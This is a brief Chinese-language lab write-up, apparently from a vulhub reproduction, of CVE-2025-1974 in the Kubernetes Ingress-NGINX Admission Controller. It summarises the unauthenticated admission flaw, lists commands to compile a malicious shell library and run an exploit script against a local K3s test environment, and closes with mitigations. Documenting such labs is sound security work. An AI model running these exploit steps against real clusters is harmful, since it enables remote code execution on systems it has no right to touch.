CVE-2025-1974

白帽学校第三期 - [김소은 (@salt318)] (https://github.com/salt318/vulhub)

摘要

• 由于Kubernetes核心安全机制Ingress-NGINX Admission Controller的缺陷引发
• Ingress-NGINX Admission Controller无需认证即可暴露在网络中
• 这使得攻击者可以构造恶意的AdmissionReview请求，从而在Ingress资源中插入未经授权的配置
• 与其他漏洞结合时可能实现远程代码执行（CVE-2025-24514、CVE-2025-1097或CVE-2025-1098）

环境配置与执行

• 运行 docker compose up -d 启动测试环境（基于K3s的Kubernetes环境）
• 编译恶意Shell代码
  root@kitploit:~

  gcc -shared -fPIC -o shell.so shell.c
  

• 通过以下命令利用漏洞
  root@kitploit:~

  python exploit.py -a https://localhost:30443/networking/v1/ingresses -i http://localhost:30080/fake/addr -s shell.so
  

执行结果

总结

Ingress-NGINX Admission Controller的认证缺失漏洞使得能够插入恶意Ingress资源或控制系统，并且与其他漏洞结合时可能导致远程代码执行（RCE）。因此，应加强针对Admission Controller访问的认证与权限验证，强化Ingress资源验证逻辑，并通过网络ACL（访问控制列表）设置阻断外部访问等安全措施。